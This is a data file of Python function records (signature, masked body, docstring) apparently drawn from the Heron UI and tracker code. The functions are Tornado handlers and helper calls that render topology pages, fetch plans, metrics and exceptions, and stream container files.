{"signature": "def get(self, cluster, environ, topology, comp_name, instance):", "body": "<EOL>options = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>comp_name=comp_name,<EOL>instance=instance,<EOL>active=\"<STR_LIT>\",<EOL>function=common.className,<EOL>baseUrl=self.baseUrl)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param comp_name:\n:param instance:\n:return:", "id": "f7395:c1:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "clusters = yield access.get_clusters()<EOL>options = dict(<EOL>topologies=[],  <EOL>clusters=[str(cluster) for cluster in clusters],<EOL>active=\"<STR_LIT>\",  <EOL>function=common.className,<EOL>baseUrl=self.baseUrl<EOL>)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":return:", "id": "f7395:c2:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology):<DEDENT>", "body": "<EOL>execution_state = yield access.get_execution_state(cluster, environ, topology)<EOL>scheduler_location = yield access.get_scheduler_location(cluster, environ, topology)<EOL>job_page_link = scheduler_location[\"<STR_LIT>\"]<EOL>launched_at = datetime.utcfromtimestamp(execution_state['<STR_LIT>'])<EOL>launched_time = launched_at.strftime('<STR_LIT>')<EOL>options = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>execution_state=execution_state,<EOL>launched=launched_time,<EOL>status=\"<STR_LIT>\" if random.randint(<NUM_LIT:0>, <NUM_LIT:1>) else \"<STR_LIT>\",<EOL>active=\"<STR_LIT>\",<EOL>job_page_link=job_page_link,<EOL>function=common.className,<EOL>baseUrl=self.baseUrl<EOL>)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7395:c3:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, container):<DEDENT>", "body": "path = self.get_argument(\"<STR_LIT:path>\")<EOL>options = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>container=container,<EOL>path=path,<EOL>baseUrl=self.baseUrl<EOL>)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:return:", "id": "f7395:c4:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, container):<DEDENT>", "body": "offset = self.get_argument(\"<STR_LIT>\")<EOL>length = self.get_argument(\"<STR_LIT>\")<EOL>path = self.get_argument(\"<STR_LIT:path>\")<EOL>data = yield access.get_container_file_data(cluster, environ, topology, container, path,<EOL>offset, length)<EOL>self.write(data)<EOL>self.finish()<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:return:", "id": "f7395:c5:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, container):<DEDENT>", "body": "path = self.get_argument(\"<STR_LIT:path>\", default=\"<STR_LIT:.>\")<EOL>data = yield access.get_filestats(cluster, environ, topology, container, path)<EOL>options = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>container=container,<EOL>path=path,<EOL>filestats=data,<EOL>baseUrl=self.baseUrl)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:return:", "id": "f7395:c6:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, container):<DEDENT>", "body": "<EOL>self.connection_closed = False<EOL>path = self.get_argument(\"<STR_LIT:path>\")<EOL>filename = path.split(\"<STR_LIT:/>\")[-<NUM_LIT:1>]<EOL>self.set_header(\"<STR_LIT>\", \"<STR_LIT>\" % filename)<EOL>file_download_url = access.get_container_file_download_url(cluster, environ,<EOL>topology, container, path)<EOL>Log.debug(\"<STR_LIT>\", str(file_download_url))<EOL>def streaming_callback(chunk):<EOL><INDENT>self.write(chunk)<EOL>self.flush()<EOL><DEDENT>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>yield http_client.fetch(file_download_url, streaming_callback=streaming_callback)<EOL>self.finish()<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:return:", "id": "f7395:c7:m1"}
{"signature": "def on_connection_close(self):", "body": "<EOL>self.connection_closed = True<EOL>", "docstring": ":return:", "id": "f7395:c7:m2"}
{"signature": "def get(self, *args, **kwargs):", "body": "errormessage = \"<STR_LIT>\"<EOL>self.render(\"<STR_LIT>\", errormessage=errormessage)<EOL>", "docstring": ":param args:\n:param kwargs:\n:return:", "id": "f7396:c0:m0"}
{"signature": "def write_error(self, status_code, **kwargs):", "body": "if \"<STR_LIT>\" in kwargs:<EOL><INDENT>exc_info = kwargs[\"<STR_LIT>\"]<EOL>error = exc_info[<NUM_LIT:1>]<EOL>errormessage = \"<STR_LIT>\" % (status_code, error)<EOL>self.render(\"<STR_LIT>\", errormessage=errormessage)<EOL><DEDENT>else:<EOL><INDENT>errormessage = \"<STR_LIT:%s>\" % (status_code)<EOL>self.render(\"<STR_LIT>\", errormessage=errormessage)<EOL><DEDENT>", "docstring": ":param status_code:\n:param kwargs:\n:return:", "id": "f7397:c0:m0"}
{"signature": "def get(self):", "body": "self.redirect(u\"<STR_LIT>\")<EOL>", "docstring": ":return:", "id": "f7398:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, comp_name):<DEDENT>", "body": "start_time = time.time()<EOL>comp_names = []<EOL>if comp_name == \"<STR_LIT>\":<EOL><INDENT>lplan = yield access.get_logical_plan(cluster, environ, topology)<EOL>if not lplan:<EOL><INDENT>self.write(dict())<EOL>return<EOL><DEDENT>if not '<STR_LIT>' in lplan or not '<STR_LIT>' in lplan:<EOL><INDENT>self.write(dict())<EOL>return<EOL><DEDENT>comp_names = lplan['<STR_LIT>'].keys()<EOL>comp_names.extend(lplan['<STR_LIT>'].keys())<EOL><DEDENT>else:<EOL><INDENT>comp_names = [comp_name]<EOL><DEDENT>exception_infos = dict()<EOL>for comp_name in comp_names:<EOL><INDENT>exception_infos[comp_name] = yield access.get_component_exceptionsummary(<EOL>cluster, environ, topology, comp_name)<EOL><DEDENT>aggregate_exceptions = dict()<EOL>for comp_name, exception_logs in exception_infos.items():<EOL><INDENT>for exception_log in exception_logs:<EOL><INDENT>class_name = exception_log['<STR_LIT>']<EOL>if class_name != '<STR_LIT>':<EOL><INDENT>if not class_name in aggregate_exceptions:<EOL><INDENT>aggregate_exceptions[class_name] = <NUM_LIT:0><EOL><DEDENT>aggregate_exceptions[class_name] += int(exception_log['<STR_LIT:count>'])<EOL><DEDENT><DEDENT><DEDENT>aggregate_exceptions_table = []<EOL>for key in aggregate_exceptions:<EOL><INDENT>aggregate_exceptions_table.append([key, str(aggregate_exceptions[key])])<EOL><DEDENT>result = dict(<EOL>status=\"<STR_LIT:success>\",<EOL>executiontime=time.time() - start_time,<EOL>result=aggregate_exceptions_table)<EOL>self.write(result)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param comp_name:\n:return:", "id": "f7399:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "<EOL>topologies = yield access.get_topologies_states()<EOL>result = dict()<EOL>for cluster, cluster_value in topologies.items():<EOL><INDENT>result[cluster] = dict()<EOL>for environ, environ_value in cluster_value.items():<EOL><INDENT>result[cluster][environ] = dict()<EOL>for topology, topology_value in environ_value.items():<EOL><INDENT>if \"<STR_LIT>\" not in topology_value or topology_value[\"<STR_LIT>\"] is None:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in topology_value:<EOL><INDENT>topology_value[\"<STR_LIT>\"] = topology_value[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>topology_value[\"<STR_LIT>\"] = '<STR_LIT:->'<EOL><DEDENT>result[cluster][environ][topology] = topology_value<EOL><DEDENT><DEDENT><DEDENT>self.write(result)<EOL>", "docstring": ":return:", "id": "f7399:c1:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology):<DEDENT>", "body": "start_time = time.time()<EOL>lplan = yield access.get_logical_plan(cluster, environ, topology)<EOL>result = dict(<EOL>status=\"<STR_LIT:success>\",<EOL>message=\"<STR_LIT>\",<EOL>version=common.VERSION,<EOL>executiontime=time.time() - start_time,<EOL>result=lplan<EOL>)<EOL>self.write(result)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7399:c2:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology):<DEDENT>", "body": "start_time = time.time()<EOL>pplan = yield access.get_physical_plan(cluster, environ, topology)<EOL>result_map = dict(<EOL>status=\"<STR_LIT:success>\",<EOL>message=\"<STR_LIT>\",<EOL>version=common.VERSION,<EOL>executiontime=time.time() - start_time,<EOL>result=pplan<EOL>)<EOL>self.write(result_map)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7399:c3:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology):<DEDENT>", "body": "start_time = time.time()<EOL>estate = yield access.get_execution_state(cluster, environ, topology)<EOL>result_map = dict(<EOL>status=\"<STR_LIT:success>\",<EOL>message=\"<STR_LIT>\",<EOL>version=common.VERSION,<EOL>executiontime=time.time() - start_time,<EOL>result=estate<EOL>)<EOL>self.write(result_map)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7399:c4:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology):<DEDENT>", "body": "start_time = time.time()<EOL>estate = yield access.get_execution_state(cluster, environ, topology)<EOL>result_map = dict(<EOL>status=\"<STR_LIT:success>\",<EOL>message=\"<STR_LIT>\",<EOL>version=common.VERSION,<EOL>executiontime=time.time() - start_time,<EOL>result=estate<EOL>)<EOL>self.write(result_map)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7399:c5:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, component):<DEDENT>", "body": "start_time = time.time()<EOL>futures = yield access.get_component_exceptions(cluster, environ, topology, component)<EOL>result_map = dict(<EOL>status='<STR_LIT:success>',<EOL>executiontime=time.time() - start_time,<EOL>result=futures)<EOL>self.write(json.dumps(result_map))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param component:\n:return:", "id": "f7399:c6:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, instance):<DEDENT>", "body": "pplan = yield access.get_physical_plan(cluster, environ, topology)<EOL>host = pplan['<STR_LIT>'][pplan['<STR_LIT>'][instance]['<STR_LIT>']]['<STR_LIT:host>']<EOL>result = json.loads((yield access.get_instance_pid(<EOL>cluster, environ, topology, instance)))<EOL>self.write('<STR_LIT>' % (<EOL>host,<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>']),<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>'])))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:return:", "id": "f7399:c7:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, instance):<DEDENT>", "body": "pplan = yield access.get_physical_plan(cluster, environ, topology)<EOL>host = pplan['<STR_LIT>'][pplan['<STR_LIT>'][instance]['<STR_LIT>']]['<STR_LIT:host>']<EOL>result = json.loads((yield access.get_instance_jstack(<EOL>cluster, environ, topology, instance)))<EOL>self.write('<STR_LIT>' % (<EOL>host,<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>']),<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>'])))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:return:", "id": "f7399:c8:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, instance):<DEDENT>", "body": "pplan = yield access.get_physical_plan(cluster, environ, topology)<EOL>host = pplan['<STR_LIT>'][pplan['<STR_LIT>'][instance]['<STR_LIT>']]['<STR_LIT:host>']<EOL>result = json.loads((yield access.get_instance_mem_histogram(<EOL>cluster, environ, topology, instance)))<EOL>self.write('<STR_LIT>' % (<EOL>host,<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>']),<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>'])))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:return:", "id": "f7399:c9:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, cluster, environ, topology, instance):<DEDENT>", "body": "pplan = yield access.get_physical_plan(cluster, environ, topology)<EOL>host = pplan['<STR_LIT>'][pplan['<STR_LIT>'][instance]['<STR_LIT>']]['<STR_LIT:host>']<EOL>result = json.loads((yield access.run_instance_jmap(<EOL>cluster, environ, topology, instance)))<EOL>notes = \"<STR_LIT>\".join([<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % host<EOL>])<EOL>self.write('<STR_LIT>' % (<EOL>notes,<EOL>host,<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>']),<EOL>tornado.escape.xhtml_escape(result['<STR_LIT>'])))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:return:", "id": "f7399:c10:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "cluster = self.get_argument(\"<STR_LIT>\")<EOL>environ = self.get_argument(\"<STR_LIT>\")<EOL>topology = self.get_argument(\"<STR_LIT>\")<EOL>component = self.get_argument(\"<STR_LIT>\", default=None)<EOL>metricnames = self.get_arguments(\"<STR_LIT>\")<EOL>instances = self.get_arguments(\"<STR_LIT>\")<EOL>interval = self.get_argument(\"<STR_LIT>\", default=-<NUM_LIT:1>)<EOL>time_range = (<NUM_LIT:0>, interval)<EOL>compnames = [component] if component else (yield access.get_comps(cluster, environ, topology))<EOL>futures = {}<EOL>for comp in compnames:<EOL><INDENT>future = access.get_comp_metrics(<EOL>cluster, environ, topology, comp, instances,<EOL>metricnames, time_range)<EOL>futures[comp] = future<EOL><DEDENT>results = yield futures<EOL>self.write(results[component] if component else results)<EOL>", "docstring": ":return:", "id": "f7400:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "cluster = self.get_argument(\"<STR_LIT>\")<EOL>environ = self.get_argument(\"<STR_LIT>\")<EOL>topology = self.get_argument(\"<STR_LIT>\")<EOL>component = self.get_argument(\"<STR_LIT>\", default=None)<EOL>metric = self.get_argument(\"<STR_LIT>\")<EOL>instances = self.get_argument(\"<STR_LIT>\")<EOL>start = self.get_argument(\"<STR_LIT>\")<EOL>end = self.get_argument(\"<STR_LIT>\")<EOL>maxquery = self.get_argument(\"<STR_LIT>\", default=False)<EOL>timerange = (start, end)<EOL>compnames = [component]<EOL>futures = {}<EOL>if metric == \"<STR_LIT>\":<EOL><INDENT>for comp in compnames:<EOL><INDENT>future = query_handler.fetch_backpressure(cluster, metric, topology, component,<EOL>instances, timerange, maxquery, environ)<EOL>futures[comp] = future<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fetch = query_handler.fetch_max if maxquery else query_handler.fetch<EOL>for comp in compnames:<EOL><INDENT>future = fetch(cluster, metric, topology, component,<EOL>instances, timerange, environ)<EOL>futures[comp] = future<EOL><DEDENT><DEDENT>results = yield futures<EOL>self.write(results[component] if component else results)<EOL>", "docstring": ":return:", "id": "f7400:c1:m0"}
{"signature": "def get_time_ranges(ranges):", "body": "<EOL>now = int(time.time())<EOL>time_slots = dict()<EOL>for key, value in ranges.items():<EOL><INDENT>time_slots[key] = (now - value[<NUM_LIT:0>], now - value[<NUM_LIT:1>], value[<NUM_LIT:2>])<EOL><DEDENT>return (now, time_slots)<EOL>", "docstring": ":param ranges:\n:return:", "id": "f7403:m0"}
{"signature": "def className(selected, item):", "body": "if selected == item:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": ":param selected:\n:param item:\n:return:", "id": "f7405:m0"}
{"signature": "def define_options(address, port, tracker_url, base_url):", "body": "define(\"<STR_LIT:address>\", default=address)<EOL>define(\"<STR_LIT:port>\", default=port)<EOL>define(\"<STR_LIT>\", default=tracker_url)<EOL>define(\"<STR_LIT>\", default=base_url)<EOL>", "docstring": ":param address:\n:param port:\n:param tracker_url:\n:return:", "id": "f7407:m0"}
{"signature": "def main():", "body": "log.configure(logging.DEBUG)<EOL>tornado.log.enable_pretty_logging()<EOL>(parser, child_parser) = args.create_parsers()<EOL>(parsed_args, remaining) = parser.parse_known_args()<EOL>if remaining:<EOL><INDENT>r = child_parser.parse_args(args=remaining, namespace=parsed_args)<EOL>namespace = vars(r)<EOL>if '<STR_LIT:version>' in namespace:<EOL><INDENT>common_config.print_build_info(zipped_pex=True)<EOL><DEDENT>else:<EOL><INDENT>parser.print_help()<EOL><DEDENT>parser.exit()<EOL><DEDENT>command_line_args = vars(parsed_args)<EOL>Log.info(\"<STR_LIT>\", command_line_args['<STR_LIT:address>'],<EOL>command_line_args['<STR_LIT:port>'], command_line_args['<STR_LIT>'])<EOL>Log.info(\"<STR_LIT>\", command_line_args['<STR_LIT>'])<EOL>define_options(command_line_args['<STR_LIT:address>'],<EOL>command_line_args['<STR_LIT:port>'],<EOL>command_line_args['<STR_LIT>'],<EOL>command_line_args['<STR_LIT>'])<EOL>http_server = tornado.httpserver.HTTPServer(Application(command_line_args['<STR_LIT>']))<EOL>http_server.listen(command_line_args['<STR_LIT:port>'], address=command_line_args['<STR_LIT:address>'])<EOL>def signal_handler(signum, frame):<EOL><INDENT>print('<STR_LIT:\\n>', end='<STR_LIT>')<EOL>Log.debug('<STR_LIT>')<EOL>tornado.ioloop.IOLoop.instance().stop()<EOL><DEDENT>signal.signal(signal.SIGINT, signal_handler)<EOL>signal.signal(signal.SIGTERM, signal_handler)<EOL>tornado.ioloop.IOLoop.instance().start()<EOL>", "docstring": ":param argv:\n:return:", "id": "f7407:m1"}
{"signature": "def add_titles(parser):", "body": "parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7408:m0"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + consts.DEFAULT_TRACKER_URL + '<STR_LIT>',<EOL>default=consts.DEFAULT_TRACKER_URL)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + consts.DEFAULT_ADDRESS + '<STR_LIT>',<EOL>default=consts.DEFAULT_ADDRESS)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + str(consts.DEFAULT_PORT) + '<STR_LIT:)>',<EOL>type=int,<EOL>default=consts.DEFAULT_PORT)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>'<EOL>+ str(consts.DEFAULT_BASE_URL) + '<STR_LIT:)>',<EOL>default=consts.DEFAULT_BASE_URL)<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7408:m1"}
{"signature": "def create_parsers():", "body": "parser = argparse.ArgumentParser(<EOL>epilog='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>parser = add_titles(parser)<EOL>parser = add_arguments(parser)<EOL>child_parser = argparse.ArgumentParser(<EOL>parents=[parser],<EOL>formatter_class=SubcommandHelpFormatter,<EOL>add_help=False)<EOL>subparsers = child_parser.add_subparsers(<EOL>title=\"<STR_LIT>\")<EOL>help_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>add_help=False)<EOL>version_parser = subparsers.add_parser(<EOL>'<STR_LIT:version>',<EOL>help='<STR_LIT>',<EOL>add_help=True)<EOL>help_parser.set_defaults(help=True)<EOL>version_parser.set_defaults(version=True)<EOL>return (parser, child_parser)<EOL>", "docstring": ":return:", "id": "f7408:m2"}
{"signature": "def metric_queries():", "body": "qs = _all_metric_queries()<EOL>return qs[<NUM_LIT:0>] + qs[<NUM_LIT:2>]<EOL>", "docstring": "all metric queries", "id": "f7410:m1"}
{"signature": "def queries_map():", "body": "qs = _all_metric_queries()<EOL>return dict(zip(qs[<NUM_LIT:0>], qs[<NUM_LIT:1>]) + zip(qs[<NUM_LIT:2>], qs[<NUM_LIT:3>]))<EOL>", "docstring": "map from query parameter to query name", "id": "f7410:m2"}
{"signature": "def get_clusters():", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_clusters())<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get all cluster names", "id": "f7410:m3"}
{"signature": "def get_logical_plan(cluster, env, topology, role):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_logical_plan(cluster, env, topology, role))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get logical plans", "id": "f7410:m4"}
{"signature": "def get_topology_info(*args):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_topology_info(*args))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get topology information", "id": "f7410:m5"}
{"signature": "def get_topology_metrics(*args):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_comp_metrics(*args))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get topology metrics", "id": "f7410:m6"}
{"signature": "def get_component_metrics(component, cluster, env, topology, role):", "body": "all_queries = metric_queries()<EOL>try:<EOL><INDENT>result = get_topology_metrics(cluster, env, topology, component, [],<EOL>all_queries, [<NUM_LIT:0>, -<NUM_LIT:1>], role)<EOL>return result[\"<STR_LIT>\"]<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get component metrics", "id": "f7410:m7"}
{"signature": "def get_cluster_topologies(cluster):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_cluster_topologies(cluster))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get topologies under a cluster", "id": "f7410:m8"}
{"signature": "def get_cluster_role_topologies(cluster, role):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_cluster_role_topologies(cluster, role))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get topologies under a cluster submitted by a role", "id": "f7410:m9"}
{"signature": "def get_cluster_role_env_topologies(cluster, role, env):", "body": "instance = tornado.ioloop.IOLoop.instance()<EOL>try:<EOL><INDENT>return instance.run_sync(lambda: API.get_cluster_role_env_topologies(cluster, role, env))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>raise<EOL><DEDENT>", "docstring": "Synced API call to get topologies under a cluster submitted by a role under env", "id": "f7410:m10"}
{"signature": "def fetch(self, cluster, metric, topology, component, instance, timerange, envirn=None):", "body": "pass<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param envirn:\n:return:", "id": "f7411:c0:m0"}
{"signature": "def fetch_max(self, cluster, metric, topology, component, instance, timerange, envirn=None):", "body": "pass<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param envirn:\n:return:", "id": "f7411:c0:m1"}
{"signature": "def fetch_backpressure(self, cluster, metric, topology, component, instance,timerange, is_max, environ=None):", "body": "pass<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param is_max:\n:param environ:\n:return:", "id": "f7411:c0:m2"}
{"signature": "@tornado.gen.coroutine<EOL>def fetch_url_as_json(fetch_url, default_value=None):", "body": "<EOL>if default_value is None:<EOL><INDENT>default_value = dict()<EOL><DEDENT>Log.debug(\"<STR_LIT>\", fetch_url)<EOL>ret = default_value<EOL>start = time.time()<EOL>http_response = yield tornado.httpclient.AsyncHTTPClient().fetch(fetch_url)<EOL>if http_response.error:<EOL><INDENT>Log.error(\"<STR_LIT>\", fetch_url, http_response.error)<EOL>raise tornado.gen.Return(ret)<EOL><DEDENT>response = json.loads(http_response.body)<EOL>if not '<STR_LIT:result>' in response:<EOL><INDENT>Log.error(\"<STR_LIT>\", fetch_url)<EOL>raise tornado.gen.Return(ret)<EOL><DEDENT>ret = response['<STR_LIT:result>']<EOL>execution = <NUM_LIT:1000> * response['<STR_LIT>']<EOL>end = time.time()<EOL>duration = <NUM_LIT:1000> * (end - start)<EOL>Log.debug(\"<STR_LIT>\", execution, fetch_url)<EOL>Log.debug(\"<STR_LIT>\", duration, fetch_url)<EOL>raise tornado.gen.Return(ret)<EOL>", "docstring": "Fetch the given url and convert the response to json.\n:param fetch_url: URL to fetch\n:param default_value: value to return in case of failure\n:return:", "id": "f7412:m0"}
{"signature": "def get_tracker_endpoint():", "body": "return options.tracker_url<EOL>", "docstring": "Get the endpoint for heron tracker\n:return:", "id": "f7414:m0"}
{"signature": "def create_url(fmt):", "body": "return fmt % get_tracker_endpoint()<EOL>", "docstring": "Given an URL format, substitute with tracker service endpoint\n:param fmt:\n:return:", "id": "f7414:m1"}
{"signature": "@tornado.gen.coroutine<EOL>def get_clusters():", "body": "request_url = create_url(CLUSTER_URL_FMT)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":return:", "id": "f7414:m2"}
{"signature": "@tornado.gen.coroutine<EOL>def get_topologies():", "body": "request_url = create_url(TOPOLOGIES_URL_FMT)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the list of topologies given a data center from heron tracker\n:return:", "id": "f7414:m3"}
{"signature": "@tornado.gen.coroutine<EOL>def get_topologies_states():", "body": "request_url = create_url(TOPOLOGIES_STATS_URL_FMT)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the list of topologies and their states\n:return:", "id": "f7414:m4"}
{"signature": "def get_cluster_topologies(cluster):", "body": "return _get_topologies(cluster)<EOL>", "docstring": "Get the list of topologies given a cluster\n:param cluster:\n:return:", "id": "f7414:m6"}
{"signature": "def get_cluster_role_topologies(cluster, role):", "body": "return _get_topologies(cluster, role=role)<EOL>", "docstring": "Get the list of topologies given a cluster submitted by a given role\n:param cluster:\n:param role:\n:return:", "id": "f7414:m7"}
{"signature": "def get_cluster_role_env_topologies(cluster, role, env):", "body": "return _get_topologies(cluster, role=role, env=env)<EOL>", "docstring": "Get the list of topologies given a cluster submitted by a given role under a given environment\n:param cluster:\n:param role:\n:param env:\n:return:", "id": "f7414:m8"}
{"signature": "@tornado.gen.coroutine<EOL>def get_execution_state(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(create_url(EXECUTION_STATE_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the execution state of a topology in a cluster\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m9"}
{"signature": "@tornado.gen.coroutine<EOL>def get_logical_plan(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(LOGICALPLAN_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the logical plan state of a topology in a cluster\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m10"}
{"signature": "@tornado.gen.coroutine<EOL>def get_comps(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(LOGICALPLAN_URL_FMT), params)<EOL>lplan = yield fetch_url_as_json(request_url)<EOL>comps = lplan['<STR_LIT>'].keys() + lplan['<STR_LIT>'].keys()<EOL>raise tornado.gen.Return(comps)<EOL>", "docstring": "Get the list of component names for the topology from Heron Nest\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m11"}
